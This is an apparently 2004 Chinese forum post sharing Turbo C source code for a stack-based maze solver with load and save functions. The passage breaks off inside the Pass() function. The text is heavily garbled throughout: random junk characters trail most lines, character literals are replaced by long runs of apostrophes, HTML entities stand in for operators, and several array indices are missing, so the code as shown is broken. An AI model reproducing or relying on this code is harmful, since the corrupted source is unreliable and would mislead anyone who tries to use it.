QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 7625|回复: 8
打印 上一主题 下一主题

C语言技术文章

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-10-4 02:34 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
<DIV  align=left>
! f0 N! ~# X, O( L. N, a& W< align=left>程序目的:/ E! }( }* \/ P% G! j' c5 w3 h
输入一个任意大小的迷宫,用栈求出一条走出迷宫的路径,并+ |- h5 A2 N  Y5 c5 q1 g
显示在屏幕上。+ u) {, |" U: p8 U& q7 u( F
程序实现:) m3 }' ~; r, I
可以实现载入迷宫和保存迷宫,附带文件中有4个测试迷宫路径的& M% V$ R$ R  R2 G/ ~! j( T
文件test1~4.dd。请将这些文件拷贝到TC当前目录下,或者在载
9 a% z6 W* N, D9 T1 Q# [( F. |入时写明完全路径。由于屏幕大小的限制,当用户自己输入迷宫; l3 {) p1 l4 j7 [# O3 m
时一定要注意:迷宫大小是有限制的,不小于4*3,不大于30*20。
  O  \- x. D' H  u: c' X1 C否则会出现错误信息。输入开始时全是墙,用上下左右键移动,
4 U' \$ i/ j) M/ R: U% W3 \0 U用Del键删除墙,形成通路,用Enter键添加墙。输入结束时可以/ E: f5 {  Q7 Q9 j" h' C4 H- R+ G/ G; }
将迷宫保存下来,以dd为扩展名。输入完毕时用F9键来得到结果,
9 V1 s9 U9 ]  Y找到路径时,屏幕下方会出现Path found,否则出现Path not found。
5 z0 g4 V9 j2 Y  U+ H7 L+ K5 N程序经Turbo C 2.0编译调试成功。运行时不用添加任何运行库。
: Q$ q+ Z* Q4 j3 ]$ W, h不可以在VC上编译。( H  U- M. Z0 b) L
下载DOS版和windows版的迷宫游戏全部代码9 n" n" I7 n, G8 C7 J* A
用户名:migong
# r9 |+ z! c/ w* b; ]# v% ?----------------------------------------------------------------------------------1 Y4 z# d5 v0 q
/*
: H* I! p  v# y5 Y# mMazePath Demo BY Turbo C 2.0
# d1 b; o# l3 s+ X- n# l" nCopyright(c) RoverUnion. All right reserved.
1 T- T3 `/ c. ?% DFilename: Maze.c
) W( e3 |* V/ JAuthor Dongchengyu.
/ ^3 |$ z' m' F$ d0 N! K& \( W. eVer 1.106 P  D. n9 I  z2 S6 o1 ?( c- g
*/
7 z2 K0 a  s3 `3 g; l#include &lt;stdio.h&gt;
! x2 O9 O3 g' a& c6 U$ I9 S#include &lt;stdlib.h&gt;
- d( z; w$ L2 c, |! j#include &lt;malloc.h&gt;- l6 t. R! t8 `7 D0 L% h
#include &lt;conio.h&gt;
& L0 {6 z+ u0 }( @4 m; H#include &lt;dos.h&gt;
5 L3 ]+ o$ B9 A- d#define OK 1
0 ?5 t- C$ x( N: n6 |#define ERROR 0
( W" ~( f+ @0 I1 ?#define TRUE 1
) p3 L5 h+ L  x+ H% ^. c#define FALSE 0
% S, [# Q- p  C. U3 D" P#define F9 0x432 o  Z" t4 V4 j3 q# y8 }& G1 D
#define Esc 0x1b
9 T. Y1 c; P: s/ m/ i8 v! Y#define Del 0x530 A& V7 x( ~4 N6 K% @2 A; `4 i
#define Home 0x478 J2 _2 E$ R8 c6 B. Z$ L% P
#define End 0x4f
5 B- `. Q; d( O, k/ M#define Space 0x20
1 k  i$ y( l4 Z; M: s#define Up 0x48
4 r8 v4 V7 {( k7 C! e3 ^. ^0 Y# i' ?#define Down 0x50
( H2 {8 p1 w8 g2 Q#define Left 0x4b4 R: A; b3 c9 i3 ]) k8 L) r3 p
#define Right 0x4d
0 o, n3 H$ B' u" A9 S#define Enter 0x0d7 ~, D2 O$ E3 Q, n( z" u9 o: `9 C
#define F2 0x3c
. y" _0 l. ]' j0 N$ @- B  K#define F3 0x3d
' f) @1 s, ~/ s) S4 ^- Z#define STACK_INIT_SIZE 200, g3 X* E6 w! J0 @  \% [7 p
#define STACKINCREMENT 10
3 S" q" y$ F! v$ h  k' P/ m& l5 Ktypedef int Boolean;  Y4 Y# y3 M$ K  d) J6 q
typedef int Status;( G8 v' g% n2 ?; Q, t  L* N
typedef struct {" K# b# z  ?  L" V, m
int x;0 H8 a/ C! t2 l8 p% _2 N) Q+ k5 ^
int y;, ~! t: t: U7 T% |( ^
} PosType;! E  Z7 N2 m9 Q+ V
typedef struct {# t( e. Y  q: F+ b- P! `  P
int ord;3 C% R. o* G0 w" C& o& z
PosType seat;; Y$ E: |- L0 q  G5 h" ]5 l
int di;: ~: V3 M2 \% H- j
} SElemType;5 `2 P7 o* _5 Q) U0 j
typedef struct {" D. z4 F- ~! f  C8 {1 s, b, z
int td;
, m1 g0 ]1 b- G* K4 Uint foot;% U! m1 A8 Y( V1 i6 A( w" D9 e
int mark;* R( ?0 \; V  P" L! b
} MazeType;
4 `! g. r  X% G. _" h; o- xtypedef struct {
4 G+ Z( _3 V* W$ P8 zSElemType *base;
' a$ i. t& q# u3 v; i$ oSElemType *top;+ J) H$ V* M+ F, v- a
int stacksize;# T5 f  w9 ?) Z* e2 s% M! Q5 ~) p
} Stack;
2 o7 O. m8 j: s+ E* ]% S8 oint Maze[20][30];( N9 T1 ^* \1 J; K: ^+ g
MazeType maze[20][30];
' d# o; e4 i6 L2 }) ZPosType StartPlace;
$ s3 R1 ]% G( |- h0 XPosType EndPlace;7 C2 E- Y) [$ Y( A4 Y
int count;( t- y7 N7 f% l3 p; F0 u% y- R% B
int m,n;
9 O5 L& _7 M3 MBoolean b_start=FALSE,b_end=FALSE;; j/ T+ g4 t6 @, [5 |( H& k
void CreatMaze(void);
8 F& R) h1 D8 u6 @: k$ K' Y) OStatus SaveMaze(char *filename);/ _0 l- r" E- p! J; t% M, v/ s, q
Status LoadMaze(char *filename);; K: S( p, [7 Z9 C* t# |
void Error(char *message);( r! M# C% |1 e* [
Status InitStack(Stack *s);* v" c8 [7 t: R4 _, D4 Z+ r
Status DestroyStack(Stack *s);# {5 d" n# V& {4 q  U
Status ClearStack(Stack *s);
, k# u6 l' j9 i4 k  c$ o0 cBoolean StackEmpty(Stack *s);
, x$ P  N5 K0 N* @3 r: Lint StackLength(Stack *s);7 Z- X: L7 V; o
Status Push(Stack *s,SElemType e);& y5 v. T2 U) t
SElemType Pop(Stack *s,SElemType e);0 H- q, @. f" J; U6 v
Status GetTop(Stack *s,SElemType *e);' A( e8 W$ Z5 E& i
Status StackTraverse(Stack *s,Status (* visit)(SElemType *se));
7 s; p4 J4 h- I" ^0 E0 CBoolean Pass(PosType curpos);. d5 s1 l+ c# C
void MarkPrint(PosType seat);  n7 w1 j# |$ Y) M& x
void FootPrint(PosType curpos);  E% C/ x6 r! M
PosType NextPos(PosType seat,int di);: J) Y8 `! k1 j! P" r
Status MazePath(PosType start,PosType end);1 ~* A* y! M. ~8 n
void CreatMaze(void)
! f, j' b3 S) R) V+ M- d/* Form the maze. */
4 x1 I3 P$ d# G7 G" x# e' O{
' l9 g+ f. _/ i+ m2 M) I1 G- ~void Error(char *message);5 G% C, l. v0 h6 g; ?7 |
Status SaveMaze(char *filename);+ J6 k" j1 s& r0 n
Status LoadMaze(char *filename);
+ G" f; X% ^0 |2 L/ R5 W& _int i,j;
1 j. c4 ?/ D! v8 z9 yint x,y;! b+ V* U9 C; B0 I/ J
char c;0 ?* K) v. V+ E. n
char savename[12],loadname[12];' W# P& X( G: M8 y" E" l9 x* j( S
Boolean flag=FALSE,load=FALSE;3 Z2 o% I* `$ _2 Z4 o4 ~  Y
clrscr();
0 m" O& ~; \/ c1 N( z% W" y  tprintf("Menu:\n\n");0 v6 W3 D" E, m1 ~. d
printf("1.Load Mazefile*.dd)\n\n");+ g2 r' e3 x5 H9 s
printf("2.Input Maze:\n\n");
* X+ o) A+ X/ S1 K: K/ tprintf("Input your choice: ");% @& b) `2 x  u6 a
do
) [1 Y4 L( }+ J7 b{# g, ]' Z) M8 M+ u6 {8 U5 ~
c=getch();
  }9 x* b0 b" ^' f3 Qswitch(c)& l6 Q- N- c+ v' J$ S& j& O" v
{
0 d. d( S2 B6 Zcase ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''); break;
; x: F. u8 U/ A5 K. c  @: tcase ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''); break;4 O2 \$ t: {6 s# a3 w0 t, ^  e
case Esc: sleep(1); exit(1);. ]% G+ Q! B5 Z3 c% X+ O* B& Q
default: break;  F. g& f) e! a' C$ E+ d
}! J9 \. y0 \6 U! E1 M
}5 g0 _+ v9 g+ T; ^
while(c!=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''&amp;&amp;c!=''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''') ;
- Y  S5 B0 s% @/ u  P8 oif(c==''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''')
+ _; Y7 [7 Q% X% W; W8 U# F& A{
8 `9 m( f; {/ E  q( Oprintf("\n\nLoadName: ");
2 p8 w9 o. h1 I( H8 Sscanf("%s",loadname);
& |: E0 o( V1 L' N+ Tif(LoadMaze(loadname))5 v4 u1 B8 z; w0 T0 U/ `: ]
{4 S% D0 @: c7 G- |0 \9 s  Z
sleep(1); load=TRUE;  V8 v2 f6 p" c- g+ T/ L
}
# @" C2 O$ ^5 @  {; j3 v" C6 Q$ Helse { gotoxy(1,9); printf("Load fail! "); }5 P0 E7 m# e$ ]4 X. c- L
}
$ f" c: g% O3 [' `8 y' Jif(!load)
( I% T8 Y" q# s- w* T: {; E' |{9 v- s. f3 j& W* b$ ~& ~  T$ U
printf("\nInput the maze''''''''''''''''''''''''''''''''s size:\n");( B& g9 ^4 Z" N8 _
printf("\nInput Length :\n");5 q7 X; ~0 }: F! b5 z+ _8 ?
scanf("%d",&amp;m);
0 a2 D6 A4 W/ Lprintf("\nInput Width :\n");
6 ]& @1 S5 L1 C% Kscanf("%d",&amp;n);. M: x0 G6 O8 I' X; `6 D
if(m&lt;4||n&lt;4) Error("Input");5 C1 \: h, P2 z0 ]* i
if(m&gt;30||n&gt;20) Error("Maze too large");
1 }, |0 S, n3 r2 _3 {  a& \for(i=0;i&lt;30;i++)
9 |, W- d' r4 J5 h9 v$ g* Qfor(j=0;j&lt;20;j++)
( T6 Q# V! {% |4 @1 f7 Q+ K) Z/ oMaze[j]=2;
- X* A* P' ?2 aStartPlace.x=0;
5 ^" ^0 E) w; t* n$ v- r. G6 wStartPlace.y=0;# g5 ?8 J1 n- ~' X4 i  s' h
EndPlace.x=0;/ y5 O: C" u, r7 C1 V: C6 A
EndPlace.y=0;. d0 I2 e8 n& |
clrscr();
/ a$ e* ^2 r+ C" \( S; z% sprintf("\n");
8 ^9 S% [8 w+ I! f5 xfor(i=1;i&lt;=n;i++)' s: {( |, n1 \& e1 D) x5 _
{9 j: U; Y5 P* E! u' ]) n' {
for(j=1;j&lt;=m;j++)
4 n3 Q9 Q) V1 ]( b5 k  Y. B8 l* V{
  ?7 q. ^( G" zprintf(" #");
' n% W6 B, a3 DMaze[i-1][j-1]=0;
# U4 _2 {7 D0 Z. r+ X' o0 ]9 z}: j9 t' i; k$ f7 v& T+ H: G
printf("\n");
" R4 S. g+ }5 y! l- w8 t}) c# w" a* i6 K0 k  I
}( ^& w+ z1 q( ?
gotoxy(65,5);% y7 [2 m6 [; G# j/ N! P
printf("''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''':Wall");- i2 P9 i" F6 m; I. {8 ^, r
gotoxy(65,7);
2 N( e* k0 A; P9 X- v+ U/ Rprintf("Start:Home");
, ?. H$ g/ s$ x; \gotoxy(65,9);
3 m. }5 b) {' Y" gprintf("End:End");( M& o6 c- c6 g. K
gotoxy(65,11);
+ m/ I2 [/ U/ B  r* G) f- N' tprintf("Delete Wallel");
! Y% p! @, Y$ |- c. wgotoxy(65,13);: k% a" h( K' ^" B+ s7 P& `: a+ `
printf("Enter Wall:Enter");' E9 T, q) W8 o! T/ o9 i) o4 Q
gotoxy(65,15);4 L/ r1 P9 R1 }' |4 g' G; G0 _+ @
printf("Save Maze:F2");
: w' M4 K. |- J% \$ Q. g. Agotoxy(65,17);
9 g( H+ r1 u  D4 f- n; s. F) \printf("Complete:F9");
! y- @9 ]- C' F3 Y* lgotoxy(65,19);! L: u" o0 _) ?' p' S5 p2 y9 M
printf("Exit:Esc");
( m4 l; X2 c* Mgotoxy(4,3);8 F# p2 A: M3 c9 H4 [5 L/ ]
x=4;y=3;4 G: [; W0 O( E8 D6 @$ D
do
5 Q- O! r! F$ W% @/ T% ]* |{
: s* @" F. }/ s9 f) vc=getch();
' ^" R9 G/ v. V& _! Dswitch(c)  p4 W2 k" \" d' \# D- z" ?% F
{
7 Y0 v! K; M9 _0 N0 mcase Up: if(y&gt;3) { y--; gotoxy(x,y); }! c' k: Z0 Z, n/ ~0 T
break;
1 {. j0 c# [% Q; \; K, y$ ^1 Icase Down: if(y&lt;n) { y++; gotoxy(x,y); }% @) y, x+ k* m3 g5 p( c: r4 n
break;" g" i  |: E6 i- Y% R
case Left: if(x&gt;4) { x-=2; gotoxy(x,y); }! ^" F0 {! I; x  S# n, f( i
break;2 Z5 f5 g4 D$ N$ i1 R  z
case Right: if(x&lt;2*m-2) { x+=2; gotoxy(x,y); }
; N5 u. h; X2 [8 j  D1 Wbreak;
: S9 u( U" Q- g" Gcase Del: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) b_start=FALSE;( N% g$ w5 {# O# Q1 H
if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) b_end=FALSE;" o2 D* ?. {+ Y, B9 a( i
putch('''''''''''''''''''''''''''''''' ''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=1; gotoxy(x,y);
2 t9 x& N- o# h( F( kbreak;
  @  N+ F; o4 ~case Enter: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) break;( H' x. Q9 F/ k/ G: Q1 }/ j
if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) break;
5 P% I8 _7 u# `* G5 |putch(''''''''''''''''''''''''''''''''#''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=0; gotoxy(x,y);
- ?( C4 _# G% wbreak;
0 P: A( q0 H' n( k  hcase Home: if(Maze[y-2][x/2-1]&amp;&amp;!b_start)# ^5 x( }6 t( s+ O
{
' r# b0 K4 K: W4 lStartPlace.x=x/2-1;9 A. f% i% k" S: i
StartPlace.y=y-2;6 ?* H* M5 u, l& d* d3 c* M2 U6 A
putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
( |$ I4 m8 s# F# f* Vgotoxy(x,y);
% Y8 Q9 p9 q8 e' M6 yb_start=TRUE;
; j7 r3 v; r% s7 T' z  S: e( U}
2 a0 r: T2 Z1 F9 e$ m. R* Sbreak;
) o* w# x- v' @1 V0 W2 |+ v* j3 xcase End: if(Maze[y-2][x/2-1]&amp;&amp;!b_end)
- ~$ v. G3 U6 Z4 M9 O% ^{0 _9 F3 V% e& V: v! l, q( k# G8 P
EndPlace.x=x/2-1;1 b' x2 e* Z" w) u6 I% ~$ f- E) ]
EndPlace.y=y-2;% i% v2 C3 E# `9 G4 I: [+ X- u
putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
8 X9 H' j+ t1 V* Ygotoxy(x,y);
; M+ P2 t6 s+ pb_end=TRUE;; Y. E# O% D6 t. a1 v/ B6 p
}
" W4 G, }6 ]+ s+ O% n! lbreak;
0 p; q) j1 O# Ucase Esc: gotoxy(2,22); printf("exit"); sleep(1); exit(1);
' M# T6 x; `6 C4 P2 `0 acase F9: if(b_start&amp;&amp;b_end) flag=TRUE; break;6 g0 H$ l8 f! A
case F2: gotoxy(2,22);
4 j* u+ o, F  B4 g" {- jprintf("Savename:");& S3 Q- l; V8 u0 b
scanf("%s",savename);/ V  J- N1 V; M8 _: {
gotoxy(2,22);
2 c3 E8 e: b4 c) s# Pif(SaveMaze(savename)) printf("Save OK! ");: }1 v/ C# y8 ?! Y' i
else printf("Save fail! ");
  Z9 |- ^+ X! p9 G7 {" i; Ssleep(1);5 b; y2 A& p7 W6 h0 z5 M  r
gotoxy(2,22);5 c$ |- b  |: d; O0 C
printf(" ");! h- k% j! K% h* j& m& a2 X  k. V
gotoxy(x,y);
& q5 G% i+ e- `0 d/ Pbreak;* Y6 b* E. f. l  I
default: break;
, _6 l1 m1 X' w% T}8 U7 d# o2 [& _9 Q' I
}1 K- o6 ^* p, Z# W7 B' \  @
while(!flag);
9 \$ @4 O2 u/ sfor(i=0;i&lt;30;i++)* P; C' u  R. s7 P
for(j=0;j&lt;20;j++)
4 F% Z) h* F1 O- ?8 ]! Q2 }9 e1 S{
) c0 n4 a1 J% r+ \& _6 N$ g5 E1 S4 Bmaze[j].td=Maze[j];% A& ]/ ^) T+ W
maze[j].mark=0;& T. n: O% x2 S, w: w- y5 c
maze[j].foot=0;& s4 ]( o5 d# m, W8 n
}
  [- D  {: D5 w' `" O}
; j6 Y( @+ g/ A1 `: fStatus LoadMaze(char *file)
" O  S! g& _! v' ^3 B0 o/* The maze has been loaded. */" S- l1 Y* K$ g
{& n: A$ A9 e! p$ V' }
FILE *fp;$ p  b) A8 O9 M1 ?
char *buffer;  s% y0 N5 ?0 v/ i+ m1 Z
char ch;1 ~$ a1 O& J0 f4 o2 j% l
int i=0,j,k;' w( s4 M) t2 E# B( k. U8 O% n+ M3 ~
Boolean len=FALSE,wid=FALSE;7 T" }) v6 B0 `! s5 k! z
if((fp=fopen(file,"r"))==NULL)# Y# V  G( q+ O6 S/ l2 C5 x+ P- ~: X
return ERROR;
, E7 E0 w7 s5 ~: p# d! ~buffer=(char *)malloc(600*sizeof(char));& g# G5 {6 U# N' c( d
ch=fgetc(fp);
8 |# x' r0 P6 cwhile(ch!=EOF)
0 @# i5 a9 W" H; G% F. ?5 o{7 D8 L/ @% w  }' \& Z
buffer=ch;* V# c  ^2 I9 m7 L2 j# V1 J4 o
i++;
4 i# S) d( [; `7 V4 F5 [  x3 gch=fgetc(fp);
, A: ]0 R7 M( p# q" k: t}
" H1 m. b/ d6 K" a( q. R7 ?m=30;n=20;
& R" c4 `3 @) ]6 x8 ffor(i=0;i&lt;600;i++)' d+ F1 G  p# O8 o) G
{* M, C) A$ l8 c2 N  Y& j: q
j=i/30; k=i%30;5 C: o+ G) Q7 @8 o2 m
if(buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!len){ m=i; len=TRUE; }1 ^1 X" C* \( h& U$ ~- F( D
if(k==0&amp;&amp;buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!wid){ n=j; wid=TRUE; }
; G8 t2 C* s; N- T5 w* wswitch(buffer)9 M4 Y+ ^) K: _7 \
{7 z4 Q3 f4 c9 b  ~4 R7 R: @
case ''''''''''''''''''''''''''''''''0'''''''''''''''''''''''''''''''': Maze[j][k]=0; break;, f% M  ^: o8 [; Y4 l) ^
case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': Maze[j][k]=1; break;
) |  G1 f( Q4 s4 _# ecase ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': Maze[j][k]=2; break;
- U; K. t9 c3 U$ j" K* }case ''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''': Maze[j][k]=1;
3 c: }7 y6 S# u1 c' f1 `+ oStartPlace.x=k;
) d/ u! Q2 }! fStartPlace.y=j;5 E$ P1 l; \/ p" R
b_start=TRUE;; w& T# e! E6 c; A" H+ F0 U
break;# v2 p' \% _% T) Q( S7 ], B
case ''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''': Maze[j][k]=1;
4 T& `% s8 a/ M. t* m; Z  YEndPlace.x=k;0 G" k. e4 d% z4 d1 w
EndPlace.y=j;
4 z! `9 w! s6 b6 T. w% ?# d$ T/ Bb_end=TRUE;8 s' X* p; `, p$ Y
break;
- V! s% G; x- T! N/ k4 [. P3 b# tdefault : break;% O* {- X1 p* p4 P% t2 t4 `
}# l5 e8 \& y* }( [, `
}
/ A) p- N3 D6 H' _fclose(fp);
. j) F1 S/ d- H1 wclrscr();
, `3 V" x# Z/ Z) W$ u# L5 }2 wfor(i=0;i&lt;30;i++)
0 ~* y) V" ^8 S2 \& qfor(j=0;j&lt;20;j++)) m! S$ k/ E9 `; a7 D
{9 g- n! }+ W% Z0 J4 F7 K
maze[j].td=Maze[j];
7 z9 `3 F8 C4 W7 Bmaze[j].foot=0;! U% n- k/ I( c, C! ]# m( H/ ?
maze[j].mark=0;
  M; \6 j! k, _9 Tif(Maze[j]==0)
8 h/ G5 F. G" s; ?* z- Y# |9 t4 K{
2 d9 h! L" i% G+ m7 f6 G( Ugotoxy(2*i+2,j+2);! X4 s/ ^% O7 q$ l6 o& J+ |) T% ?
putch(''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''');' [% j7 [& X: B! w: a3 g
}
+ q% P5 a2 G& U}2 Q  K( n+ L; d8 x- J
gotoxy(2*StartPlace.x+2,StartPlace.y+2);
- |7 ]3 ?5 @: Dputch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
) R5 f& M  Y2 e9 y+ Y0 e& T( d3 Ygotoxy(2*EndPlace.x+2,EndPlace.y+2);
4 Q/ u: M, @8 m2 v, ^  v8 ^5 Iputch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');3 o9 b$ f) @# W- U1 k: W
return OK;! m9 X5 s; a: D; s
}- z$ [3 L- I) _( K* c# L
Status SaveMaze(char *filename)( _* v5 b% c! ^0 ~/ X7 g" }
/* The maze has been saved. */2 |: N, U& c) k% h* R( c
{
  @2 r$ X3 j$ H7 N/ j0 M& UFILE *fp;% Q1 M2 B2 [' ]1 E; _
char *buffer;
# m% S  C" C+ e" q1 v7 }' c4 Y( oint i,j,k;
' X! c; G$ b- m) l9 pfp=fopen(filename,"wb");1 P- {) [0 C% `
buffer=(char *)malloc(600*sizeof(char));
% R3 ^4 p" c2 X4 g' L4 Tfor(i=0;i&lt;600;i++)) r* F* |" Y5 [0 E0 f
{& _7 O* \' ~0 }" x9 y* f
j=i/30; k=i%30;( l) u9 E" s5 u
switch(Maze[j][k]): i: ?" n; T, p/ z: x' D* W1 c8 t+ d+ ]
{3 h+ \/ J+ L- D4 L$ t
case 0: buffer=''''''''''''''''''''''''''''''''0''''''''''''''''''''''''''''''''; break;
* Y( E7 K5 }% |! d1 `4 Scase 1: buffer=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''; break;2 ?$ r" b" h3 D3 A
case 2: buffer=''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''; break;6 \! r1 I9 ~% y2 m( Y
default : Error("Write"); break;  S. o8 v) ~( K) R4 I( k% v
}% l' G7 X; G9 N1 ?
if(k==StartPlace.x&amp;&amp;j==StartPlace.y) buffer=''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''';
  ]" |  \" }1 F& {+ v' A/ Cif(k==EndPlace.x&amp;&amp;j==EndPlace.y) buffer=''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''';2 T+ k8 x4 N% r4 U
}
& |; u! `- H% _& {fwrite(buffer,600,1,fp);
" Y& }. x* J) ^4 ~. y/ g9 T0 R- dfree(buffer);
; w1 X8 i3 o' U6 s  ~fclose(fp);/ T+ R: m& J5 |- x
return OK;  E) l3 B9 R$ U' q; W5 ^3 g
}
4 K8 y# c" S2 l- m2 N5 G& k+ ^void Error(char *message)
' ]$ B% d6 C# W+ h- B{2 Y+ {* N7 x  H9 B
clrscr();  e: ~8 F6 F6 c* X: o  D2 U
fprintf(stderr,"Error:%s\n",message);3 c: w9 T& t9 R: m
exit(1);3 c0 F* z& }) F4 f
} /* Error */
. C2 R& Z/ `0 o* u. a9 `0 P, N/ \$ T5 {7 j. T0 V
Status InitStack(Stack *s): R8 m6 M& m* k- A" h8 |
/* The stack s has been created and is initialized to be empty. */& u- @# n3 M6 U1 G5 [% ~
{
' Q+ v4 A4 }. g" M8 Ns-&gt;base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
$ D7 o9 b; S. u0 N. [) b4 aif(!s-&gt;base) Error("Overflow");
/ {; H# J; a3 R* |' c4 O$ ?s-&gt;top=s-&gt;base;- c4 |, l/ ]6 q7 c
s-&gt;stacksize=STACK_INIT_SIZE;
5 e  @% h# p+ h$ x+ kreturn OK;: k# V6 Q. Z& M  G
} /* InitStack */
/ Z$ ]& [" p! E: x; sStatus DestroyStack(Stack *s)1 _0 n+ T5 W/ Z( E
/* The stack s has been destroyed. */
' r% X& v3 U$ b% ]+ f- u! a, F{1 V6 {: ?6 n  Q* {: P& Q: q
s-&gt;top=NULL;
; J, c) |" }0 ?- ^) L9 f' [- Qs-&gt;stacksize=0;; m! f9 N7 c# V4 b9 q- q/ e9 a
free(s-&gt;base);* o( \" \  D9 Y) u+ E
s-&gt;base=NULL;
! t2 S. x; e# C. F% s6 G/ B. ereturn OK;. ~+ E. `  @8 V' I+ _* `9 U
} /* DestroyStack */6 ~8 q' \! b8 O) A% m' w. k
Status ClearStack(Stack *s)
6 k/ e( P2 `0 a: @# Y/* The stack has been clear to be maximum. */
0 f( a- d2 t" A, w# n{; M3 L. x/ ~9 i; N5 [# Q" K
s-&gt;top=s-&gt;base;  F0 d$ P8 b% P! A/ @) E3 P' c! U
s-&gt;stacksize=STACK_INIT_SIZE;
1 j# c6 v" h) x' K7 p7 F( [return OK;
9 `* t9 ^2 V6 H0 Z7 U' k% R6 X} /* ClearStack */
/ U) O8 l( C5 \5 o, DBoolean StackEmpty(Stack *s)8 F& T3 c* z' P8 D
/* Check if the stack s is empty. */
6 W9 u8 ~- o# x{
! g0 q1 Y" _$ e; Mif(s-&gt;top==s-&gt;base) return TRUE;3 J$ E3 d' Z) r' s8 \; P; I
else return FALSE;
0 ?7 c9 C( h6 r} /* StackEmpty */
9 Y: P& c$ e6 `3 G, Vint StackLength(Stack *s)
' l% i: X4 [( V8 a! S/* Gain the length of the stack s. */
8 M8 K( K7 e* k' ]{/ o% ^8 s3 t7 \3 e
if(s-&gt;top&gt;s-&gt;base) return (int)(s-&gt;top-s-&gt;base);
! I+ g$ O% }( J! Q& y: ?2 }else return 0;
+ d* t9 U3 e! V* p- z} /* StackLength */
9 p2 E0 G% r" W, C; W5 z3 l9 jStatus Push(Stack *s,SElemType e): d1 R& G; G: }; N  r, X. e. ^5 M+ J
/* The element e has been pushed into the stack s. */# A% R% \6 J0 J1 J* x  Z' o: {
{! H) p( F) a9 Q" l- f0 Y
if(s-&gt;top-s-&gt;base&gt;=s-&gt;stacksize), z! S% s$ r" ~4 }3 a  y
{4 n& D# i) ]2 s- Q% n
s-&gt;base=(SElemType *)realloc(s-&gt;base,2 t5 k# i, L$ w1 g& M
(s-&gt;stacksize+STACKINCREMENT)*sizeof(SElemType));
; d0 _) V" ^7 b5 k6 y. Qif(!s-&gt;base) Error("Overflow");
6 o9 I2 X- a' Ss-&gt;top=s-&gt;base+s-&gt;stacksize;
$ w5 k7 s) B+ ?% R; |2 J. i$ Y0 is-&gt;stacksize+=STACKINCREMENT;
- D; n1 e7 {2 M, J}2 i# `* B3 _9 ?5 M
*s-&gt;top++=e;
5 W) i3 Y1 A; i8 Y, q$ lreturn OK;
) Y* F, f+ _) p/ a5 ]' t3 T} /* Push */
0 w+ X0 e+ |! M! i4 A- O/ tSElemType Pop(Stack *s,SElemType e)6 S$ u8 f+ F* r; i9 R4 A3 E7 Z
/* The element e has been removed from the stack s. */8 d) F+ N  \+ v1 l
{
1 O2 T& B% u- `  I. r4 yif(s-&gt;top==s-&gt;base) Error("op");- |% L% L. u8 Q' P- P6 \
e=*--s-&gt;top;
/ H4 R6 v8 t! z- k4 q. }+ ereturn e;$ _8 M6 E/ T* q" |' S7 p
} /* Pop */% ]& F0 w' ], Z/ x# C  }
Status GetTop(Stack *s,SElemType *e)
, Z$ X$ o0 A& A& Q: U" w, F/* The element e has got to the top of the stack s.*/$ Q* {  [' l5 I* h  G9 W8 e
{
. Y+ f0 c# t0 {: t" Zif(s-&gt;top==s-&gt;base) Error("GetTop");
! B; N2 T8 F0 m; D*e=*(s-&gt;top-1);
7 q/ Q1 C4 R. v) s1 B& [return OK;
/ U+ I+ O: O. B/ _5 f' |  }} /* GetTop */
  w/ w) s5 u0 G8 x9 O/* Traverse the stack s using ''''''''''''''''''''''''''''''''visiting'''''''''''''''''''''''''''''''' function. */
3 s! Y& @: r" U( v, m& e0 M, h3 m/* Status StackTraverse(Stack *s,Status (* visit)(SElemType *se))" ?' ~3 ?! E6 t4 U( x9 \' Y
{9 x2 O, \8 x& h+ k2 l; x7 B
SElemType p;
; u% f* I3 f: ]& c4 Jint result;
) I  k5 b! e' C0 jif(s-&gt;top==s-&gt;base) return ERROR;. U0 B  t7 u: R7 A/ j
p=s-&gt;base;
. b5 c/ b/ C, |while(!(p==s-&gt;top))
2 M& v- V4 ?9 [. l. j0 a! i{
" q( o2 d$ O6 X8 ?$ s3 Lresult=(*visit)(p);9 M" T: _4 X( d) s# P. j
p++;
4 l" e; ?% T* c, J( a1 Q' ?}
0 K  g+ t9 c% K. x$ Q4 }8 u" Mreturn OK;
- `0 P  g$ h# r7 V4 u} */# X, T/ R( Y2 [
Boolean Pass(PosType curpos)5 x1 \' A2 B. ~# ?& u1 k" P
/* Check if the current position can be passed. */. o. N& b- b5 d7 M, F, Y, |# x
{
/ \, ]# K3 `5 P! ~+ wif(maze[curpos.x][curpos.y].td==1&amp;&amp;
